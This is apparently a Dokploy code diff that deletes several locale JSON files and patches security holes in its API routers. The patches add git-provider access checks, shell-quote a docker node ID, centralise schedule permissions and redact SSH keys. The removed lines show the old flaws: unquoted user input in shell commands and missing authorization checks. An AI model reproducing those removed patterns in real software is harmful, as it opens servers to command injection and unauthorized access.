"settings.server.webServer.storage.cleanStoppedContainers": "Durmuş konteynerleri temizle",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder ve Sistemi Temizle",
"settings.server.webServer.storage.cleanMonitoring": "İzlemeyi Temizle",
"settings.server.webServer.storage.cleanAll": "Hepsini temizle",
"settings.profile.title": "Hesap",
"settings.profile.description": "Profil detaylarınızı buradan değiştirebilirsiniz.",
"settings.profile.email": "E-posta",
"settings.profile.password": "Şifre",
"settings.profile.avatar": "Profil Resmi",
"settings.appearance.title": "Görünüm",
"settings.appearance.description": "Kontrol panelinin temasını özelleştirin.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Kontrol paneli için bir tema seçin",
"settings.appearance.themes.light": "Açık",
"settings.appearance.themes.dark": "Koyu",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Dil",
"settings.appearance.languageDescription": "Kontrol paneli için bir dil seçin"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Зберегти",
"settings.common.enterTerminal": "Увійти в термінал",
"settings.server.domain.title": "Домен сервера",
"settings.server.domain.description": "Додайте домен до вашого серверного застосунку.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Електронна пошта для Let's Encrypt",
"settings.server.domain.form.certificate.label": "Постачальник сертифікатів",
"settings.server.domain.form.certificate.placeholder": "Оберіть сертифікат",
"settings.server.domain.form.certificateOptions.none": "Відсутній",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Веб-сервер",
"settings.server.webServer.description": "Перезавантажте або очистьте веб-сервер.",
"settings.server.webServer.actions": "Дії",
"settings.server.webServer.reload": "Перезавантажити",
"settings.server.webServer.watchLogs": "Перегляд логів",
"settings.server.webServer.updateServerIp": "Оновити IP-адресу сервера",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Змінити середовище",
"settings.server.webServer.traefik.managePorts": "Додаткові порти",
"settings.server.webServer.traefik.managePortsDescription": "Додайте або видаліть порти для Traefik",
"settings.server.webServer.traefik.targetPort": "Цільовий порт",
"settings.server.webServer.traefik.publishedPort": "Опублікований порт",
"settings.server.webServer.traefik.addPort": "Додати порт",
"settings.server.webServer.traefik.portsUpdated": "Порти успішно оновлено",
"settings.server.webServer.traefik.portsUpdateError": "Не вдалося оновити порти",
"settings.server.webServer.traefik.publishMode": "Режим публікації",
"settings.server.webServer.storage.label": "Дисковий простір",
"settings.server.webServer.storage.cleanUnusedImages": "Очистити невикористані образи",
"settings.server.webServer.storage.cleanUnusedVolumes": "Очистити невикористані томи",
"settings.server.webServer.storage.cleanStoppedContainers": "Очистити зупинені контейнери",
"settings.server.webServer.storage.cleanDockerBuilder": "Очистити Docker Builder і систему",
"settings.server.webServer.storage.cleanMonitoring": "Очистити моніторинг",
"settings.server.webServer.storage.cleanAll": "Очистити все",
"settings.profile.title": "Обліковий запис",
"settings.profile.description": "Змініть дані вашого профілю.",
"settings.profile.email": "Електронна пошта",
"settings.profile.password": "Пароль",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Зовнішній вигляд",
"settings.appearance.description": "Налаштуйте тему вашої панелі керування.",
"settings.appearance.theme": "Тема",
"settings.appearance.themeDescription": "Оберіть тему для вашої панелі керування",
"settings.appearance.themes.light": "Світла",
"settings.appearance.themes.dark": "Темна",
"settings.appearance.themes.system": "Системна",
"settings.appearance.language": "Мова",
"settings.appearance.languageDescription": "Оберіть мову для вашої панелі керування",
"settings.terminal.connectionSettings": "Налаштування з'єднання",
"settings.terminal.ipAddress": "IP-адреса",
"settings.terminal.port": "Порт",
"settings.terminal.username": "Ім'я користувача"
}

View File

@@ -1,78 +0,0 @@
{
"dashboard.title": "仪表盘",
"dashboard.overview": "概览",
"dashboard.projects": "项目",
"dashboard.servers": "服务器",
"dashboard.docker": "Docker",
"dashboard.monitoring": "监控",
"dashboard.settings": "设置",
"dashboard.logout": "退出登录",
"dashboard.profile": "个人资料",
"dashboard.terminal": "终端",
"dashboard.containers": "容器",
"dashboard.images": "镜像",
"dashboard.volumes": "卷",
"dashboard.networks": "网络",
"button.create": "创建",
"button.edit": "编辑",
"button.delete": "删除",
"button.cancel": "取消",
"button.save": "保存",
"button.confirm": "确认",
"button.back": "返回",
"button.next": "下一步",
"button.finish": "完成",
"status.running": "运行中",
"status.stopped": "已停止",
"status.error": "错误",
"status.pending": "等待中",
"status.success": "成功",
"status.failed": "失败",
"form.required": "必填",
"form.invalid": "无效",
"form.submit": "提交",
"form.reset": "重置",
"notification.success": "操作成功",
"notification.error": "操作失败",
"notification.warning": "警告",
"notification.info": "信息",
"time.now": "刚刚",
"time.minutes": "分钟前",
"time.hours": "小时前",
"time.days": "天前",
"filter.all": "全部",
"filter.active": "活跃",
"filter.inactive": "不活跃",
"sort.asc": "升序",
"sort.desc": "降序",
"search.placeholder": "搜索...",
"search.noResults": "无结果",
"pagination.prev": "上一页",
"pagination.next": "下一页",
"pagination.of": "共 {0} 页",
"error.notFound": "未找到",
"error.serverError": "服务器错误",
"error.unauthorized": "未授权",
"error.forbidden": "禁止访问",
"loading": "加载中...",
"empty": "暂无数据",
"more": "更多",
"less": "收起",
"project.create": "创建项目",
"project.edit": "编辑项目",
"project.delete": "删除项目",
"project.name": "项目名称",
"project.description": "项目描述",
"service.create": "创建服务",
"service.edit": "编辑服务",
"service.delete": "删除服务",
"service.name": "服务名称",
"service.type": "服务类型",
"domain.add": "添加域名",
"domain.remove": "移除域名",
"environment.variables": "环境变量",
"environment.add": "添加环境变量",
"environment.edit": "编辑环境变量",
"environment.name": "变量名",
"environment.value": "变量值"
}

View File

@@ -1,67 +0,0 @@
{
"settings.common.save": "保存",
"settings.common.enterTerminal": "终端",
"settings.server.domain.title": "服务器域名",
"settings.server.domain.description": "为您的服务器应用添加域名。",
"settings.server.domain.form.domain": "域名",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 邮箱",
"settings.server.domain.form.certificate.label": "证书提供商",
"settings.server.domain.form.certificate.placeholder": "选择证书",
"settings.server.domain.form.certificateOptions.none": "无",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web 服务器",
"settings.server.webServer.description": "重载或清理 Web 服务器。",
"settings.server.webServer.actions": "操作",
"settings.server.webServer.reload": "重新加载",
"settings.server.webServer.watchLogs": "查看日志",
"settings.server.webServer.updateServerIp": "更新服务器 IP",
"settings.server.webServer.server.label": "服务器",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "修改环境变量",
"settings.server.webServer.traefik.managePorts": "额外端口映射",
"settings.server.webServer.traefik.managePortsDescription": "为 Traefik 添加或删除额外端口",
"settings.server.webServer.traefik.targetPort": "目标端口",
"settings.server.webServer.traefik.publishedPort": "发布端口",
"settings.server.webServer.traefik.addPort": "添加端口",
"settings.server.webServer.traefik.portsUpdated": "端口更新成功",
"settings.server.webServer.traefik.portsUpdateError": "端口更新失败",
"settings.server.webServer.traefik.publishMode": "发布模式",
"settings.server.webServer.storage.label": "存储空间",
"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的镜像",
"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系统",
"settings.server.webServer.storage.cleanMonitoring": "清理监控数据",
"settings.server.webServer.storage.cleanAll": "清理所有内容",
"settings.profile.title": "账户",
"settings.profile.description": "在此更改您的个人资料详情。",
"settings.profile.email": "邮箱",
"settings.profile.password": "密码",
"settings.profile.avatar": "头像",
"settings.appearance.title": "外观",
"settings.appearance.description": "自定义您的仪表盘主题。",
"settings.appearance.theme": "主题",
"settings.appearance.themeDescription": "为您的仪表盘选择主题",
"settings.appearance.themes.light": "明亮",
"settings.appearance.themes.dark": "暗黑",
"settings.appearance.themes.system": "跟随系统",
"settings.appearance.language": "语言",
"settings.appearance.languageDescription": "为您的仪表盘选择语言",
"settings.terminal.connectionSettings": "连接设置",
"settings.terminal.ipAddress": "IP 地址",
"settings.terminal.port": "端口",
"settings.terminal.username": "用户名",
"settings.settings": "设置",
"settings.general": "通用设置",
"settings.security": "安全",
"settings.users": "用户管理",
"settings.roles": "角色管理",
"settings.permissions": "权限",
"settings.api": "API设置",
"settings.certificates": "证书管理",
"settings.ssh": "SSH密钥",
"settings.backups": "备份",
"settings.logs": "日志",
"settings.updates": "更新",
"settings.network": "网络"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "儲存",
"settings.common.enterTerminal": "進入終端機",
"settings.server.domain.title": "網域設定",
"settings.server.domain.description": "新增網域至伺服器",
"settings.server.domain.form.domain": "網域",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 信箱",
"settings.server.domain.form.certificate.label": "憑證",
"settings.server.domain.form.certificate.placeholder": "選擇一個憑證",
"settings.server.domain.form.certificateOptions.none": "無",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "伺服器設定",
"settings.server.webServer.description": "管理伺服器",
"settings.server.webServer.actions": "操作",
"settings.server.webServer.reload": "重新載入",
"settings.server.webServer.watchLogs": "查看日誌",
"settings.server.webServer.updateServerIp": "更新伺服器 IP",
"settings.server.webServer.server.label": "伺服器",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "修改環境變數",
"settings.server.webServer.traefik.managePorts": "埠轉發",
"settings.server.webServer.traefik.managePortsDescription": "新增或移除 Traefik 的其他埠",
"settings.server.webServer.traefik.targetPort": "目標埠",
"settings.server.webServer.traefik.publishedPort": "對外埠",
"settings.server.webServer.traefik.addPort": "新增埠",
"settings.server.webServer.traefik.portsUpdated": "埠更新成功",
"settings.server.webServer.traefik.portsUpdateError": "埠更新失敗",
"settings.server.webServer.traefik.publishMode": "埠對應模式",
"settings.server.webServer.storage.label": "儲存空間",
"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的映像檔",
"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系統快取",
"settings.server.webServer.storage.cleanMonitoring": "清理監控數據",
"settings.server.webServer.storage.cleanAll": "清理所有內容",
"settings.profile.title": "帳戶",
"settings.profile.description": "更改您的個人資料",
"settings.profile.email": "信箱",
"settings.profile.password": "密碼",
"settings.profile.avatar": "頭像",
"settings.appearance.title": "外觀",
"settings.appearance.description": "自訂面板主題",
"settings.appearance.theme": "主題",
"settings.appearance.themeDescription": "選擇面板主題",
"settings.appearance.themes.light": "明亮",
"settings.appearance.themes.dark": "黑暗",
"settings.appearance.themes.system": "系統",
"settings.appearance.language": "語言",
"settings.appearance.languageDescription": "選擇面板語言",
"settings.terminal.connectionSettings": "終端機設定",
"settings.terminal.ipAddress": "IP 位址",
"settings.terminal.port": "埠",
"settings.terminal.username": "使用者名稱"
}

View File

@@ -1,4 +1,5 @@
import {
assertGitProviderAccess,
createBitbucket,
findBitbucketById,
getAccessibleGitProviderIds,
@@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({
}),
one: protectedProcedure
.input(apiFindOneBitbucket)
.query(async ({ input }) => {
return await findBitbucketById(input.bitbucketId);
.query(async ({ input, ctx }) => {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return bitbucket;
}),
bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -78,18 +81,26 @@ export const bitbucketRouter = createTRPCRouter({
getBitbucketRepositories: protectedProcedure
.input(apiFindOneBitbucket)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return await getBitbucketRepositories(input.bitbucketId);
}),
getBitbucketBranches: protectedProcedure
.input(apiFindBitbucketBranches)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.bitbucketId) {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
}
return await getBitbucketBranches(input);
}),
testConnection: protectedProcedure
.input(apiBitbucketTestConnection)
.mutation(async ({ input }) => {
.mutation(async ({ input, ctx }) => {
try {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
const result = await testBitbucketConnection(input);
return `Found ${result} repositories`;

View File

@@ -6,6 +6,7 @@ import {
getRemoteDocker,
} from "@dokploy/server";
import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod";
import { audit } from "@/server/api/utils/audit";
import { getLocalServerIp } from "@/server/wss/terminal";
@@ -51,8 +52,8 @@ export const clusterRouter = createTRPCRouter({
}
}
try {
const drainCommand = `docker node update --availability drain ${input.nodeId}`;
const removeCommand = `docker node rm ${input.nodeId} --force`;
const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`;
const removeCommand = `docker node rm ${quote([input.nodeId])} --force`;
if (input.serverId) {
await execAsyncRemote(input.serverId, drainCommand);

View File

@@ -1,4 +1,5 @@
import {
assertGitProviderAccess,
createGitea,
findGiteaById,
getAccessibleGitProviderIds,
@@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({
}
}),
one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
return await findGiteaById(input.giteaId);
}),
one: protectedProcedure
.input(apiFindOneGitea)
.query(async ({ input, ctx }) => {
const gitea = await findGiteaById(input.giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
return gitea;
}),
giteaProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaRepositories: protectedProcedure
.input(apiFindOneGitea)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
const { giteaId } = input;
if (!giteaId) {
@@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({
});
}
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try {
const repositories = await getGiteaRepositories(giteaId);
return repositories;
@@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaBranches: protectedProcedure
.input(apiFindGiteaBranches)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
const { giteaId, owner, repositoryName } = input;
if (!giteaId || !owner || !repositoryName) {
@@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({
});
}
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try {
return await getGiteaBranches({
giteaId,
@@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({
testConnection: protectedProcedure
.input(apiGiteaTestConnection)
.mutation(async ({ input }) => {
.mutation(async ({ input, ctx }) => {
const giteaId = input.giteaId ?? "";
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try {
const result = await testGiteaConnection({
giteaId,

View File

@@ -1,4 +1,5 @@
import {
assertGitProviderAccess,
findGithubById,
getAccessibleGitProviderIds,
getGithubBranches,
@@ -22,17 +23,27 @@ import {
} from "@/server/db/schema";
export const githubRouter = createTRPCRouter({
one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
return await findGithubById(input.githubId);
}),
one: protectedProcedure
.input(apiFindOneGithub)
.query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return github;
}),
getGithubRepositories: protectedProcedure
.input(apiFindOneGithub)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return await getGithubRepositories(input.githubId);
}),
getGithubBranches: protectedProcedure
.input(apiFindGithubBranches)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.githubId) {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
}
return await getGithubBranches(input);
}),
githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -67,8 +78,10 @@ export const githubRouter = createTRPCRouter({
testConnection: protectedProcedure
.input(apiFindOneGithub)
.mutation(async ({ input }) => {
.mutation(async ({ input, ctx }) => {
try {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
const result = await getGithubRepositories(input.githubId);
return `Found ${result.length} repositories`;
} catch (err) {

View File

@@ -1,4 +1,5 @@
import {
assertGitProviderAccess,
createGitlab,
findGitlabById,
getAccessibleGitProviderIds,
@@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({
});
}
}),
one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
return await findGitlabById(input.gitlabId);
}),
one: protectedProcedure
.input(apiFindOneGitlab)
.query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return gitlab;
}),
gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -86,19 +91,27 @@ export const gitlabRouter = createTRPCRouter({
}),
getGitlabRepositories: protectedProcedure
.input(apiFindOneGitlab)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return await getGitlabRepositories(input.gitlabId);
}),
getGitlabBranches: protectedProcedure
.input(apiFindGitlabBranches)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.gitlabId) {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
}
return await getGitlabBranches(input);
}),
testConnection: protectedProcedure
.input(apiGitlabTestConnection)
.mutation(async ({ input }) => {
.mutation(async ({ input, ctx }) => {
try {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
const result = await testGitlabConnection(input);
return `Found ${result} repositories`;

View File

@@ -13,6 +13,7 @@ import {
findMemberByUserId,
} from "@dokploy/server/services/permission";
import {
assertHostScheduleAccess,
createSchedule,
deleteSchedule,
findScheduleById,
@@ -31,6 +32,8 @@ export const scheduleRouter = createTRPCRouter({
create: protectedProcedure
.input(createScheduleSchema)
.mutation(async ({ input, ctx }) => {
await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
const serviceId = input.applicationId || input.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -44,51 +47,14 @@ export const scheduleRouter = createTRPCRouter({
);
}
} else {
if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] });
if (
input.scheduleType === "server" ||
input.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
if (IS_CLOUD && input.scheduleType === "server" && input.serverId) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (input.scheduleType === "server" && input.serverId) {
const targetServer = await findServerById(input.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
if (IS_CLOUD) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
}
}
}
const newSchedule = await createSchedule({
@@ -135,6 +101,22 @@ export const scheduleRouter = createTRPCRouter({
});
}
await assertHostScheduleAccess(
ctx,
existingSchedule.scheduleType,
existingSchedule.serverId,
);
if (
input.scheduleType &&
input.scheduleType !== existingSchedule.scheduleType
) {
await assertHostScheduleAccess(
ctx,
input.scheduleType,
input.serverId ?? existingSchedule.serverId,
);
}
const serviceId =
existingSchedule.applicationId || existingSchedule.composeId;
if (serviceId) {
@@ -142,47 +124,7 @@ export const scheduleRouter = createTRPCRouter({
schedule: ["update"],
});
} else {
if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["update"] });
if (
existingSchedule.scheduleType === "server" ||
existingSchedule.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (
existingSchedule.scheduleType === "server" &&
existingSchedule.serverId
) {
const targetServer = await findServerById(existingSchedule.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
const updatedSchedule = await updateSchedule(input);
@@ -222,50 +164,19 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string() }))
.mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["delete"],
});
} else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["delete"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
await deleteSchedule(input.scheduleId);
@@ -389,50 +300,19 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string().min(1) }))
.mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["create"],
});
} else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
try {
await runCommand(input.scheduleId);

View File

@@ -9,6 +9,7 @@ import {
getPublicIpWithFallback,
haveActiveServices,
IS_CLOUD,
redactServerSshKey,
removeDeploymentsByServerId,
serverAudit,
serverSetup,
@@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({
});
}
return server;
return redactServerSshKey(server);
}),
getDefaultCommand: withPermission("server", "read")
.input(apiFindOneServer)
@@ -436,7 +437,7 @@ export const serverRouter = createTRPCRouter({
await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
}
return currentServer;
return redactServerSshKey(currentServer);
} catch (error) {
throw error;
}

Some files were not shown because too many files have changed in this diff Show More